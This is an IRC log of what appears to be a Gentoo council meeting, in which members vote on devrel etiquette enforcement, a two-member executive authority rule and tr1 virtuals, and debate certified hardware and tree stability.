+Mar 08 15:53:15 <christel> kingtaco|work: yeah
+Mar 08 15:53:17 <kingtaco|work> my answer was that we don't
+Mar 08 15:53:19 <seemant> christel: was that from this current generation of infra people or the prior? (just curious)
+Mar 08 15:53:29 <christel> kingtaco|work: excellent, thank you
+Mar 08 15:53:29 <kingtaco|work> we tell you if your requested action is infeasable
+Mar 08 15:53:36 <marienz> (can't tell you if devrel hit this kind of thing too, but figured I'd mention it)
+Mar 08 15:53:39 <christel> seemant: i wasnt aware they had changed :)
+Mar 08 15:53:45 <seemant> (just noting that TNG is palpably different)
+Mar 08 15:53:54 <kingtaco|work> christel, we can't squeeze blood from stone
+Mar 08 15:53:58 <christel> (i know theres a couple of additions to the team, which perhaps makes change for the better)
+Mar 08 15:54:18 <g2boojum> christel: Assume that if you didn't deal w/ kingtaco|work, it's changed.
+Mar 08 15:54:32 <christel> kingtaco|work: im not trying to pick on you, im just wanting to know that if we need to we can
+Mar 08 15:54:44 <seemant> ..pick on them?
+Mar 08 15:54:46 <kingtaco|work> but if you make a request as devrel to infra that we can do, IMO infra is obligated to attempt to do it
+Mar 08 15:54:47 <christel> because that well, makes a fair bit of difference to how devrel can work with issues
+Mar 08 15:55:02 <christel> and it sounds like that is the case, for which i am glad to have clarification :)
+Mar 08 15:55:28 <kingtaco|work> so
+Mar 08 15:55:55 <vapier> what are we looking for to get started then
+Mar 08 15:55:59 <kingtaco|work> do we need to vote that devrel needs to take a more active role in stopping flamewars and whatnot?
+Mar 08 15:56:07 <kingtaco|work> oh
+Mar 08 15:56:09 <kingtaco|work> one last thing
+Mar 08 15:56:11 <wolf31o2|mobile> correct, infra should be doing what devrel recommends, except in cases where it is infeasible
+Mar 08 15:56:23 <kingtaco|work> the "how do we deal with users" question someone asked
+Mar 08 15:56:27 <kingtaco|work> it's quite simple
+Mar 08 15:56:29 <christel> i will wite a proposal for a more clear etiquette policy, and i will aim to have it ready for review in approximately 2 weeks from today
+Mar 08 15:56:36 <kingtaco|work> we don't accept work they contributed to
+Mar 08 15:56:40 <Kugelfang> christel: thx
+Mar 08 15:56:40 <kingtaco|work> even if that hurts us
+Mar 08 15:56:46 <wolf31o2|mobile> I think kloeri agreeing to it would be enough, since he'd be the one pushing it within devrel
+Mar 08 15:56:46 <vapier> while that would be the ultimate goal, i dont want devrel suddenly stomping on everyone's nuts
+Mar 08 15:56:47 <christel> would you prefer me to send it to -dev or -core for peer-review prior to next council meeting?
+Mar 08 15:56:58 <vapier> so a more gentle approach should be implied
+Mar 08 15:56:58 <wolf31o2|mobile> christel: -dev
+Mar 08 15:57:05 <kingtaco|work> vapier, the council explicily monitors devrel
+Mar 08 15:57:13 <kingtaco|work> devrel is responsible to the council
+Mar 08 15:57:14 <christel> vapier: no, i think we'd be careful not to go mad and start chuck norrising all over the place
+Mar 08 15:57:18 <christel> wolf31o2|mobile: ok :)
+Mar 08 15:57:24 <kingtaco|work> so if they fuck up we can stop them
+Mar 08 15:57:28 <wolf31o2|mobile> and the council is the "escalation" point for devrel... not that anybody's ever come to us... heh
+Mar 08 15:57:39 <Kugelfang> wolf31o2|mobile: we can still hide
+Mar 08 15:57:43 <wolf31o2|mobile> heh
+Mar 08 15:57:43 <Kugelfang> wolf31o2|mobile: ;-)
+Mar 08 15:57:54 <vapier> kingtaco|laptop: i'm not worried about oversight, i'm worried about initial reaction
+Mar 08 15:58:06 <christel> wolf31o2|mobile: for the most part things doesnt even come to us (not per the policy type route anyhow)
+Mar 08 15:58:13 <kloeri> heh
+Mar 08 15:58:13 <wolf31o2|mobile> yeah
+Mar 08 15:58:23 <kingtaco|work> vapier, ok, then lets vote to "authorize" devrel to form a plan and then enact it to cut down on the flamwars
+Mar 08 15:58:33 <wolf31o2|mobile> that sounds good
+Mar 08 15:58:35 <christel> vapier: i believe it needs to be a slow and transparent process to put into place rather than a overnight change
+Mar 08 15:58:45 <christel> transparency being important i think
+Mar 08 15:58:54 <vapier> that wording sounds too specific and doesnt address the underlying issue
+Mar 08 15:59:07 <kingtaco|work> ok, vote: devrel is charges with the task of planning and implementing anti flamewar measures
+Mar 08 15:59:09 <vapier> common courtesy to thy fellow developer
+Mar 08 15:59:19 <kingtaco|work> s/charges/charged
+Mar 08 15:59:25 <kingtaco|work> I vote yes
+Mar 08 15:59:26 <wolf31o2|mobile> right... it isn't to cut down on flames, it's to cut down on the overall bad attitudes and actions
+Mar 08 15:59:29 <Kugelfang> i like vapier's wording more
+Mar 08 15:59:32 <wolf31o2|mobile> yes
+Mar 08 15:59:34 <kloeri> devrel is doing a lot of conflict resolution type stuff before things even manages to blow up but a lot of it starts out by devs and/or users contacting me in private using /query and it's usually much easier handling these things in private so that's why you don't generally see a lot of devrel action
+Mar 08 15:59:37 <vapier> if that's seriously what the vote is worded, then i vote no
+Mar 08 15:59:57 <kingtaco|work> ok how do you want to word it?
+Mar 08 16:00:21 <wolf31o2|mobile> s/anti flamewar/common courtesy/ ?
+Mar 08 16:00:32 <kingtaco|work> netiquette?
+Mar 08 16:00:35 <wolf31o2|mobile> sure
+Mar 08 16:00:58 <kingtaco|work> vapier, ?
+Mar 08 16:01:15 <kloeri> I don't think we can force people to follow netiquette in general but we can do more to smack devs up when they're constantly being a pain in the ass
+Mar 08 16:01:44 <kingtaco|work> kloeri, that's up to devrel and for the most part outside of the scope of this meeting
+Mar 08 16:02:00 <kingtaco|work> vapier, ......
+Mar 08 16:02:06 <vapier> did we end up with netique from last time ?
+Mar 08 16:02:06 * musikc has quit (Client Quit)
+Mar 08 16:02:09 <kingtaco|work> don't make me call your mom
+Mar 08 16:02:11 <wolf31o2|mobile> but yes, I agree, kloeri
+Mar 08 16:02:17 <vapier> cant seem to find it in the devrel pages
+Mar 08 16:02:21 <kloeri> one of the problems with the current flames is that quite a few devs think they're doing just fine where as others (me included) think they're just adding to the flames
+Mar 08 16:02:27 <kingtaco|work> vapier, we can call it netiquette
+Mar 08 16:02:43 <wolf31o2|mobile> I have to leave in ~30 ...
+Mar 08 16:02:48 <vapier> kingtaco|work: i'm asking if we have an existing social policy on being nice
+Mar 08 16:02:50 <kloeri> there's an etiquette policy part in the developers handbook
+Mar 08 16:02:54 <kingtaco|work> vapier, sort of
+Mar 08 16:03:02 <vapier> URL ?
+Mar 08 16:03:03 <kingtaco|work> I think it's outdated and incomplete
+Mar 08 16:03:17 <kloeri> covering irc, forums and mail but needing some updates and/or a rewrite I guess
+Mar 08 16:03:22 <g2boojum> vapier: http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=3&chap=2
+Mar 08 16:03:23 <kloeri> http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=3&chap=2
+Mar 08 16:03:23 <vapier> then we charge devrel with updating it
+Mar 08 16:03:31 <vapier> which christel and kloeri seem to want to do
+Mar 08 16:03:43 <kingtaco|work> http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=3&chap=2
+Mar 08 16:03:45 <vapier> and as an addon, if we're to lead by example, we need to start doing so
+Mar 08 16:03:46 <kloeri> yes, I'd be quite happy to work on that
+Mar 08 16:03:51 <wolf31o2|mobile> yeah
+Mar 08 16:03:56 <vapier> aka charge ourselves to rise above
+Mar 08 16:03:57 <kingtaco|work> vapier, yes
+Mar 08 16:04:10 <wolf31o2|mobile> I've been trying to shut up on threads, since I've definitely been a part of the problem in the past
+Mar 08 16:04:11 <Kugelfang> vapier: that will be hard for you, won't it? ;-)
+Mar 08 16:04:22 <vapier> i'm sure you can find plenty of examples of me being petty 
+Mar 08 16:04:27 <kingtaco|work> ok, vote: charge devrel to update it's netiquette policy and start enforcing it
+Mar 08 16:04:31 <kingtaco|work> yes
+Mar 08 16:04:33 <wolf31o2|mobile> yes
+Mar 08 16:04:40 <UberL> yes
+Mar 08 16:04:42 <Kugelfang> vapier: *cuddle*
+Mar 08 16:04:44 <vapier> ... and for us to do better by example ;p
+Mar 08 16:04:48 <Kugelfang> yes
+Mar 08 16:04:51 <kloeri> enforce it how?
+Mar 08 16:04:55 <christel> i plead guilty and accept the charge :)
+Mar 08 16:04:57 <UberL> suspension?
+Mar 08 16:05:02 <kingtaco|work> kloeri, that's up to you
+Mar 08 16:05:05 <christel> kloeri: in what means we see necessary i'd say
+Mar 08 16:05:06 <kloeri> I'm all for enforcing it if I knew how
+Mar 08 16:05:08 <kingtaco|work> infra is willing to work with you
+Mar 08 16:05:15 <wolf31o2|mobile> kloeri: depends on what you do w/ the policy... we have faith in you... I'd say suspension
+Mar 08 16:05:19 <kingtaco|work> kloeri, you could also put out a RFC
+Mar 08 16:05:22 <christel> im still thinking warn warn suspend/time-out is doable
+Mar 08 16:05:32 <kloeri> suspension can only be applied to devs though
+Mar 08 16:05:37 <kingtaco|work> personally I like christels idea
+Mar 08 16:05:43 <kingtaco|work> kloeri, non devs is easy
+Mar 08 16:05:44 <kloeri> which I'm quite happy to do
+Mar 08 16:05:51 <Kugelfang> kloeri: non-devs is the hardest part
+Mar 08 16:05:58 <kingtaco|work> if they are in violation, don't accept any contributions from them
+Mar 08 16:05:59 <Kugelfang> sorry, kingtaco|work ^^^
+Mar 08 16:06:01 <vapier> include it as part of the revamp and to get input on
+Mar 08 16:06:04 <kloeri> heh, glad you agree :)
+Mar 08 16:06:06 <Kugelfang> too many ^k.* in here
+Mar 08 16:06:12 <kingtaco|work> yeah
+Mar 08 16:06:16 <wolf31o2|mobile> right... but remember that in *all* of these flamewars/problems, devs are usually involved... it's never really a case of two users going at it, that I've ever seen
+Mar 08 16:06:24 <Kugelfang> vote: renamed kingtaco to tacoking
+Mar 08 16:06:24 <kingtaco|work> ok, I think this is settled for now
+Mar 08 16:06:26 <kloeri> wolf31o2|mobile: agreed
+Mar 08 16:06:27 <Kugelfang> -d
+Mar 08 16:06:30 * kingtaco|work is now known as tacoking
+Mar 08 16:06:46 * tacoking is now known as kingtaco|work
+Mar 08 16:06:57 <vapier> so we're in agreement on that final wording + addon ?
+Mar 08 16:06:57 <kingtaco|work> alreadt took
+Mar 08 16:07:01 <kingtaco|work> yes
+Mar 08 16:07:20 <kingtaco|work> ok, next item on agenda
+Mar 08 16:07:27 <kloeri> ok, lets see if we can revamp etiquette policy and hopefully come up with some reasonable way of enforcing it
+Mar 08 16:07:28 <kingtaco|work> I'll hold my hardware stuff til last
+Mar 08 16:07:37 <kingtaco|work> as we can deal with it next month if needed
+Mar 08 16:07:57 <kingtaco|work> wolf31o2, "power the council should have"
+Mar 08 16:08:11 * kingtaco|work removes voice from christel marienz seemant
+Mar 08 16:08:13 * YosWinK (n=yoswink@gentoo/developer/yoswink) has joined #gentoo-council
+Mar 08 16:08:29 <Kugelfang> back in a min
+Mar 08 16:08:40 <kingtaco|work> wolf31o2|mobile, you got the floor
+Mar 08 16:09:07 <wolf31o2|mobile> yeah... earlier I suggested a concept where each member of the Council is able to make decisions as if they were the sole "leader" of Gentoo... we would need to come up with a couple exceptions, new GLEPs come to mind... but basically, each council member can act alone...
+Mar 08 16:09:16 <wolf31o2|mobile> and the council as a whole is the appeals board for anything
+Mar 08 16:10:27 <wolf31o2|mobile> I think it would keep us from burning out a single leader, yet still give us the ability to make fast decisions without them having to go through committee
+Mar 08 16:10:39 <Kugelfang> which can be revoked
+Mar 08 16:10:46 <Kugelfang> i favour that
+Mar 08 16:11:02 <UberL> should only be for things that can be revoked
+Mar 08 16:11:28 <robbat2> i don't like a single person being able to do that, but I wouldn't object to having two council members that agree on it
+Mar 08 16:11:33 <robbat2> also adds a slight sanity check
+Mar 08 16:11:41 <Kugelfang> less bureaucracy is a good thing
+Mar 08 16:11:41 <wolf31o2|mobile> I'm fine with it being two
+Mar 08 16:11:45 <kingtaco|work> I like having 2 as well
+Mar 08 16:11:47 * The_Paya has quit (Read error: 110 (Connection timed out))
+Mar 08 16:11:49 <wolf31o2|mobile> main point being it allows for much quicker decisions
+Mar 08 16:11:50 <Kugelfang> nod
+Mar 08 16:11:59 <kloeri> two people sounds good
+Mar 08 16:12:22 <vapier> and the requirement that any such decisions be noted at the next meeting
+Mar 08 16:12:29 <Kugelfang> it's similar to the romans' consuls
+Mar 08 16:12:38 <kingtaco|work> documented immedatly to council@ and next meeting
+Mar 08 16:12:39 <kloeri> vapier: agreed
+Mar 08 16:12:49 <wolf31o2|mobile> agreed
+Mar 08 16:12:52 <kingtaco|work> if you invoke uber powers, you should document it as soon as reasonable
+Mar 08 16:13:05 <vapier> do we have a council mailing list ?
+Mar 08 16:13:07 * UberL flexes his UberPowers
+Mar 08 16:13:20 <robbat2> there was one that is gathering dust somewhere
+Mar 08 16:13:23 <Kugelfang> vote: 2 council member my decide on their own w/o council in between meetings. decission need to be mailed to council@g.o immediately and can be revoked by the whole council
+Mar 08 16:13:23 <vapier> then immediate action is to drop a line on the council mailing list and to bring it up at next meeting
+Mar 08 16:13:31 <Kugelfang> may
+Mar 08 16:13:35 * UberL nods
+Mar 08 16:13:37 <vapier> i'd prefer we use the alias less
+Mar 08 16:13:40 <kingtaco|work> vapier, I think we do
+Mar 08 16:13:45 <vapier> maybe even subscribe it to the mailing list ;)
+Mar 08 16:13:47 <kloeri> list is better imo
+Mar 08 16:13:49 <kingtaco|work> it may have been disbanded
+Mar 08 16:13:53 <vapier> it hasnt
+Mar 08 16:13:55 <kingtaco|work> we could use list
+Mar 08 16:14:00 <kingtaco|work> I have no preference
+Mar 08 16:14:22 <wolf31o2|mobile> list is fine
+Mar 08 16:14:23 <Kugelfang> list is public... so list instead of alias
+Mar 08 16:14:29 <robbat2> can we keep the alias for the private bits? (eg sharing our contact information when we started)
+Mar 08 16:14:29 <wolf31o2|mobile> I'd have to subscribe to it
+Mar 08 16:14:29 <kingtaco|work> Kugelfang, only chair may call the vote :p
+Mar 08 16:14:40 <wolf31o2|mobile> right, alias for private, list for everything else
+Mar 08 16:14:40 <Kugelfang> kingtaco|work: do we have one?
+Mar 08 16:14:47 <kingtaco|work> Kugelfang, I'm chair this month
+Mar 08 16:14:50 <Kugelfang> kingtaco|work: haha
+Mar 08 16:14:57 <kingtaco|work> it's whomever leads the meeting
+Mar 08 16:14:59 <vapier> so stop talking and ask for it
+Mar 08 16:15:01 * robbat2 sits on kingtaco|work 
+Mar 08 16:15:02 <kingtaco|work> ok
+Mar 08 16:15:10 <robbat2> he said he was the chair!
+Mar 08 16:15:12 <Kugelfang> kingtaco|work: primus inter pares, hm?
+Mar 08 16:15:27 <kingtaco|work> vote: 2 council members may act with executive authority with the understanding that they must document immediatlly to council ML
+Mar 08 16:15:36 <kingtaco|work> Kugelfang, I don't know latin :)
+Mar 08 16:15:53 <wolf31o2|mobile> ... and appeals go to the council as a whole
+Mar 08 16:15:55 <Kugelfang> kingtaco|work: first among equals
+Mar 08 16:15:58 <robbat2> it means "first among equals"
+Mar 08 16:15:58 <kingtaco|work> ah
+Mar 08 16:16:12 <kingtaco|work> Kugelfang, you can be it next month if you like
+Mar 08 16:16:17 <kingtaco|work> I just like leading meetings
+Mar 08 16:16:18 <Kugelfang> no thanks
+Mar 08 16:16:44 <wolf31o2|mobile> so, vote on what taco said + addendum ?
+Mar 08 16:16:44 * The_Paya (i=the_paya@gentoo/developer/thepaya) has joined #gentoo-council
+Mar 08 16:16:53 <Kugelfang> yes
+Mar 08 16:16:55 <kloeri> yes
+Mar 08 16:16:56 <kingtaco|work> yes
+Mar 08 16:16:58 <UberL> yes
+Mar 08 16:17:00 <robbat2> yes
+Mar 08 16:17:07 <wolf31o2|mobile> yes
+Mar 08 16:17:16 <vapier> yes
+Mar 08 16:17:22 <Kugelfang> nice
+Mar 08 16:17:24 <kingtaco|work> ok
+Mar 08 16:17:26 <wolf31o2|mobile> very
+Mar 08 16:17:26 <kingtaco|work> passed
+Mar 08 16:17:34 <kingtaco|work> oh, one more thing real quick
+Mar 08 16:17:41 <kingtaco|work> the tr1 virtuals from last month
+Mar 08 16:17:51 <wolf31o2|mobile> ooh... almost forgot about that one
+Mar 08 16:18:13 <kingtaco|work> and maybe one more thing after that
+Mar 08 16:18:19 <kingtaco|work> anyone have anything on the tr1 stuff?
+Mar 08 16:18:29 <kingtaco|work> I'll call the same vote I did last month
+Mar 08 16:18:57 <Kugelfang> that was? (I wasn't there if you recall)
+Mar 08 16:19:00 <kingtaco|work> vote: have tr1-{memory,pointer,foo,bar,blah} virtuals until there is a sane implementation
+Mar 08 16:19:23 <kloeri> I still think the virtuals are the best solution currently
+Mar 08 16:19:30 <kingtaco|work> as the virtuals are clearly a work around for 2 sucky ijmplementations
+Mar 08 16:19:56 <kingtaco|work> I vote yes(I still wish we could use a eclass)
+Mar 08 16:20:14 <wolf31o2|mobile> yes
+Mar 08 16:20:21 <kloeri> yes
+Mar 08 16:20:23 <robbat2> yes
+Mar 08 16:20:24 <vapier> yes
+Mar 08 16:20:32 <kingtaco|work> Kugelfang, UberL
+Mar 08 16:20:56 <UberL> i don't have an opinion on that sorry
+Mar 08 16:20:57 * aballier (n=alexis@dra13-1-82-232-126-136.fbx.proxad.net) has joined #gentoo-council
+Mar 08 16:21:12 <Kugelfang> hrm
+Mar 08 16:21:25 <kingtaco|work> well, we already have a majority
+Mar 08 16:21:40 <vapier> why dont you just tell them their opinion doesnt matter
+Mar 08 16:21:42 <kingtaco|work> so you can exclude yourself if you like
+Mar 08 16:21:46 <Kugelfang> yes
+Mar 08 16:21:53 <kingtaco|work> ok, accepted
+Mar 08 16:22:21 <kingtaco|work> Kugelfang, since its you paludis type who want the virtuals, you're in charge of getting them setup in a way that doesn't piss off everyone
+Mar 08 16:22:25 <Kugelfang> i was reading the february log... wanted to know why this has been postponed
+Mar 08 16:22:33 <Kugelfang> kingtaco|work: haha
+Mar 08 16:22:38 <Kugelfang> kingtaco|work: will do
+Mar 08 16:22:42 <kingtaco|work> so flameeyes could find out how many packages would use them
+Mar 08 16:22:52 <Kugelfang> ah
+Mar 08 16:23:00 <kingtaco|work> but that no longer applies
+Mar 08 16:23:08 <kingtaco|work> ok, 2 more things
+Mar 08 16:23:23 <kingtaco|work> it was pointed out to me that people want us to discuss splitting of mailing lists
+Mar 08 16:23:35 <kingtaco|work> the id is  <45EC8028.4010004@gentoo.org>
+Mar 08 16:23:54 <kingtaco|work> we should probably kick it to next month as it relates to the devrel stuff from before
+Mar 08 16:23:59 <wolf31o2|mobile> agreed
+Mar 08 16:24:06 <vapier> splitting ?
+Mar 08 16:24:08 <wolf31o2|mobile> (and I'm running out of time and kinda brought up the subject)
+Mar 08 16:24:13 <kingtaco|work> splitting
+Mar 08 16:24:14 <Kugelfang> i think we should do it right now
+Mar 08 16:24:17 <wolf31o2|mobile> having an announce list
+Mar 08 16:24:23 <kingtaco|work> gentoo-dev-announce and whatnot
+Mar 08 16:24:31 <kingtaco|work> gentoo-dev-user
+Mar 08 16:24:34 <kingtaco|work> stuff like that
+Mar 08 16:24:40 <vapier> sounds redundant
+Mar 08 16:24:48 <vapier> we have an announce and a user list
+Mar 08 16:24:55 <kingtaco|work> yes
+Mar 08 16:25:01 <kingtaco|work> lets kick it til next month
+Mar 08 16:25:04 <robbat2> ok
+Mar 08 16:25:08 <Kugelfang> hrm
+Mar 08 16:25:12 <kingtaco|work> kloeri, you could look at that discussion when doing your devrel stuff
+Mar 08 16:25:14 <robbat2> so that leaves the gentoo hardware item that kingtaco had?
+Mar 08 16:25:18 <kloeri> sure
+Mar 08 16:25:18 <kingtaco|work> yes
+Mar 08 16:25:27 <kingtaco|work> do we have time to discuss that now?
+Mar 08 16:25:32 <Kugelfang> sure
+Mar 08 16:25:38 <kingtaco|work> anyone gotta leave before 15 minutes?
+Mar 08 16:25:41 <wolf31o2|mobile> me
+Mar 08 16:25:46 <wolf31o2|mobile> but you know my vote on it
+Mar 08 16:25:52 <wolf31o2|mobile> we already discussed it and I'm for it
+Mar 08 16:25:52 <wolf31o2|mobile> heh
+Mar 08 16:25:56 <kingtaco|work> heh
+Mar 08 16:26:11 <kingtaco|work> will you others accept wolfs abscentee vote of yes?
+Mar 08 16:26:48 <Kugelfang> that only matters if we have a draw, but yes
+Mar 08 16:27:00 <kingtaco|work> anyone who won't?
+Mar 08 16:27:09 <kingtaco|work> speak now or hold your tacos
+Mar 08 16:27:10 <kloeri> yes, if he already discussed it
+Mar 08 16:27:15 <kingtaco|work> we did
+Mar 08 16:27:16 <kingtaco|work> fosdem :)
+Mar 08 16:27:21 <kingtaco|work> and then amsterdam
+Mar 08 16:27:42 <UberL> i am un-aware of the debate
+Mar 08 16:27:49 * kingtaco|work pokes UberL vapier robbat2 
+Mar 08 16:28:02 <robbat2> yes i'll accept an absentee vote of yes by wolf31o2, but I want to know the details myself
+Mar 08 16:28:12 <vapier> that's fine
+Mar 08 16:28:16 <kingtaco|work> UberL, it hasn't happened yet, wolf has to leave so our choices are to punt it til later or accept his vote of yes
+Mar 08 16:28:21 <kingtaco|work> ok
+Mar 08 16:28:25 <kingtaco|work> lets discuss
+Mar 08 16:28:29 <UberL> i will accept his vote of yes
+Mar 08 16:28:47 <kingtaco|work> so, people have been clamoring for the council to give some direction
+Mar 08 16:28:51 <kingtaco|work> to gentoo
+Mar 08 16:29:05 <kingtaco|work> this is where my 2 projects come in
+Mar 08 16:29:31 <wolf31o2|mobile> I've got a couple projects myself, but I'll hold them off until next time so I can formulate them a bit better
+Mar 08 16:30:02 <kingtaco|work> what I'd like to do is the following: gentoo branded hardware and gentoo certified hardware
+Mar 08 16:30:12 <kingtaco|work> they are similar, but slightly different
+Mar 08 16:30:25 <kingtaco|work> the rational is the same for both, but not the implementation
+Mar 08 16:30:41 * avenj (n=avenj@gentoo/developer/avenj) has left #gentoo-council
+Mar 08 16:30:45 <kingtaco|work> so lets talk about certified hardware first
+Mar 08 16:31:21 <kingtaco|work> it would benefit gentoo greatly if OEMs gave an option to consumers to buy their product with gentoo preinstalled
+Mar 08 16:31:54 <kingtaco|work> not only would we probably receive some sort of revenue stream(a item for the trustees) but it would help get our name out there
+Mar 08 16:32:14 <kingtaco|work> it is also a stepping stone to "enterprise" gentoo
+Mar 08 16:32:23 <kingtaco|work> or perhaps the result of that
+Mar 08 16:32:28 <UberL> what would the revenue stream be used for?
+Mar 08 16:32:35 <kingtaco|work> thats up to the trustees
+Mar 08 16:32:38 <Kugelfang> up to the trustees
+Mar 08 16:32:52 <kingtaco|work> I'd like to think it'd be used for furthering gentoo and linux development
+Mar 08 16:33:09 <kingtaco|work> my goal is to get gentoo on more boxes
+Mar 08 16:33:17 <kingtaco|work> not to make money
+Mar 08 16:33:31 <robbat2> question here, as I see it already, there is nothing that stops anybody from shipping a box with Gentoo preinstalled
+Mar 08 16:33:43 <kingtaco|work> nothing at all except they don't
+Mar 08 16:33:52 <kingtaco|work> why do they ship redhat, suse, and ubuntu?
+Mar 08 16:34:02 <kingtaco|work> I've even seen debian on the list beofre
+Mar 08 16:34:24 <UberL> kingtaco|work: probably because you can buy 24x7 support contracts for them?>
+Mar 08 16:34:26 <vapier> i think it'd be the other way around ... binary/enterprise Gentoo first, then shipping with Gentoo ...
+Mar 08 16:34:39 <Kugelfang> i agree with UberL and vapier
+Mar 08 16:34:56 <kingtaco|work> UberL, there are groups of developers offering that
+Mar 08 16:34:58 <wolf31o2|mobile> later guys
+Mar 08 16:35:03 <kingtaco|work> later wolf31o2
+Mar 08 16:35:19 <Kugelfang> especially as (even portage devs say) current binary package support is not bug free
+Mar 08 16:35:26 <kingtaco|work> I see a point in what vapier says
+Mar 08 16:35:36 <kingtaco|work> Kugelfang, all the more reason to put eapi-0 behind us
+Mar 08 16:35:46 <Kugelfang> nothing to do with EAPI=ß
+Mar 08 16:35:54 * wolf31o2|mobile has quit (Remote closed the connection)
+Mar 08 16:36:05 <kingtaco|work> anyway
+Mar 08 16:36:48 <kingtaco|work> for any of this to happen we have to start cleaning up our tree
+Mar 08 16:36:54 <kingtaco|work> specificly stable
+Mar 08 16:37:12 <kingtaco|work> at the same time, we need to make sure we don't become debian
+Mar 08 16:37:55 <kingtaco|work> I think many peoples focus here has been getting stuff into the tree as quickly as possible and then not doing a very good job maintaining said packages
+Mar 08 16:38:00 <kingtaco|work> I'd like that to change
+Mar 08 16:38:57 <kingtaco|work> so what I'd like to see gentoo do is stop focusing on putting every package under the sun into the tree and move towards security and stability in the main tree
+Mar 08 16:39:04 <kingtaco|work> punt everything else to overlays
+Mar 08 16:39:26 <kingtaco|work> I see that as the first step towards convincing OEMs to ship our distro
+Mar 08 16:39:46 <robbat2> sorry, had work IRQ for a moment. there are some small vendors providing Gentoo out-of-the-box (and support for it), but basically they all have some connection to Gentoo already
+Mar 08 16:39:57 <kingtaco|work> right
+Mar 08 16:39:59 <UberL> i would rather the packages improved than punted. I dislike overlays
+Mar 08 16:40:02 <kingtaco|work> I'm talking larger ones
+Mar 08 16:40:04 <kloeri> I think that's a good idea but don't see how you can convince the developers of that
+Mar 08 16:40:04 <kingtaco|work> like dell
+Mar 08 16:40:13 <kingtaco|work> dell is looking for distros to certify their hardware
+Mar 08 16:40:25 <kingtaco|work> kloeri, I'll just ask devrel to fire them
+Mar 08 16:40:29 <vapier> i dont think it'll matter so long as there are no binaries shipping
+Mar 08 16:40:32 <kloeri> heh
+Mar 08 16:40:58 <kingtaco|work> kloeri, I'm serious, people want a direction and this is one.
+Mar 08 16:40:59 <Kugelfang> overlays have a weak point
+Mar 08 16:41:15 <Kugelfang> you can't properly defined deps on other overlays/repositories
+Mar 08 16:41:18 <Kugelfang> -d
+Mar 08 16:41:21 <kingtaco|work> eapi=1
+Mar 08 16:41:25 <robbat2> i'm against punting stuff, because I see a LOT of stuff in the tree has been added because somebody had a short-time interest in a package
+Mar 08 16:41:34 <Kugelfang> kingtaco|work: dude, EAPI is not a solution to all problems
+Mar 08 16:41:45 <Kugelfang> kingtaco|work: remember genone's talk at fosdem?
+Mar 08 16:41:50 <robbat2> even I'm guilty of that
+Mar 08 16:41:53 <kingtaco|work> robbat2, punt it to an overlay or other divided section
+Mar 08 16:42:18 * YosWinK has quit (Connection reset by peer)
+Mar 08 16:42:19 <kingtaco|work> Kugelfang, ok, redefine the entire package manager that we use
+Mar 08 16:42:19 <Kugelfang> kingtaco|work: you have to move whole trees of packages into overlays
+Mar 08 16:42:21 * yoshi_ (n=yoswink@177.Red-83-60-94.dynamicIP.rima-tde.net) has joined #gentoo-council
+Mar 08 16:42:25 <kingtaco|work> I don't care what you call it
+Mar 08 16:42:35 <Kugelfang> i don't call it anything
+Mar 08 16:42:38 <kloeri> kingtaco|work: I'd love to see developers pay more attention to stable packages, I'm just not sure how to convince others of it
+Mar 08 16:42:42 <Kugelfang> EAPI is on ebuild level
+Mar 08 16:42:44 <kingtaco|work> though I disagree that we can't change depend syntax with a eapi change
+Mar 08 16:42:58 <Kugelfang> kingtaco|work: ok, example:
+Mar 08 16:43:23 <Kugelfang> kingtaco|work: you use the proposed "::repository" suffix for deps as proposed by EAPI=1-foo
+Mar 08 16:43:25 <kingtaco|work> kloeri, what I'd like to do is form a team of gentoo developers to investigate and document what changes should be made
+Mar 08 16:43:56 <kingtaco|work> s/should/will
+Mar 08 16:43:57 <Kugelfang> kingtaco|work: so libbar has DEPEND="libfoo::gentoo-overlay-a"
+Mar 08 16:43:59 <kloeri> yup, we'd probably need a dedicated "stable" team I guess
+Mar 08 16:43:59 <kingtaco|work> this is direction
+Mar 08 16:44:15 <kingtaco|work> all developers would follow the direction
+Mar 08 16:44:22 <kingtaco|work> it most certainly needs a glep
+Mar 08 16:44:23 <Kugelfang> kingtaco|work: that will disabled you from using that package from any other overlays
+Mar 08 16:44:51 <Kugelfang> kingtaco|work: do you see that this is no ebuild level problem but a repository level problem?
+Mar 08 16:45:02 <robbat2> then there's breakage when a package moves from an overlay to the main tree?
+Mar 08 16:45:03 * hparker has quit (Client Quit)
+Mar 08 16:45:04 <kingtaco|work> Kugelfang, that's one implementation, yes.  I don't have an answer for you off the top of my head, though I've had many thoughts on how to partition the tree
+Mar 08 16:45:21 <kingtaco|work> one is simply to define tree priority
+Mar 08 16:45:33 <kingtaco|work> so try to resolve in a first, then in b, then c, and so on
+Mar 08 16:45:44 <Kugelfang> that doesn't hit the point
+Mar 08 16:46:29 <Kugelfang> how do you tell people that "if you want packages from overlay B, you need to sync overlays A, too"?
+Mar 08 16:46:31 <kingtaco|work> I'm clearly missing your point, but it doesn't matter, we're not here to talk about those details, we're talking about if this is a direction we want to set for gentoo
+Mar 08 16:46:46 <Kugelfang> that's not solvable by EAPI imho
+Mar 08 16:46:54 <kingtaco|work> oppinion noted
+Mar 08 16:47:01 <Kugelfang> and i'm on line with genone here i think, as he had that in his talk at fosdem
+Mar 08 16:47:17 <kingtaco|work> so again I ask you, is this a direction we want to set for gentoo?\
+Mar 08 16:47:23 <kingtaco|work> after glep and all that
+Mar 08 16:47:28 <kingtaco|work> or am I wasteing my time
+Mar 08 16:47:42 <Kugelfang> tree partioning? i doubt
+Mar 08 16:47:47 <kingtaco|work> dude
+Mar 08 16:47:51 <kingtaco|work> get off that already
+Mar 08 16:47:52 <robbat2> i'd agree that picking stuff that is for more stable yes, but not the means you're going about it
+Mar 08 16:48:05 <kingtaco|work> lemme define it in a sentence
+Mar 08 16:48:09 <Kugelfang> please
+Mar 08 16:48:26 <kingtaco|work> vote: gentoo's direction is security, stability, and then everything else
+Mar 08 16:48:44 <Kugelfang> i'd say "stability, security and then everything else", in that order
+Mar 08 16:48:46 * pilla (n=pilla@gentoo/developer/pilla) has joined #gentoo-council
+Mar 08 16:48:52 <robbat2> no
+Mar 08 16:49:08 <Kugelfang> what is a secure but broken system good for?
+Mar 08 16:49:12 <kingtaco|work> no to what, the vote or danny?
+Mar 08 16:49:17 <robbat2> stability shouldn't block progress. temporarily delay maybe.
+Mar 08 16:49:19 <kingtaco|work> Kugelfang, a doorstop
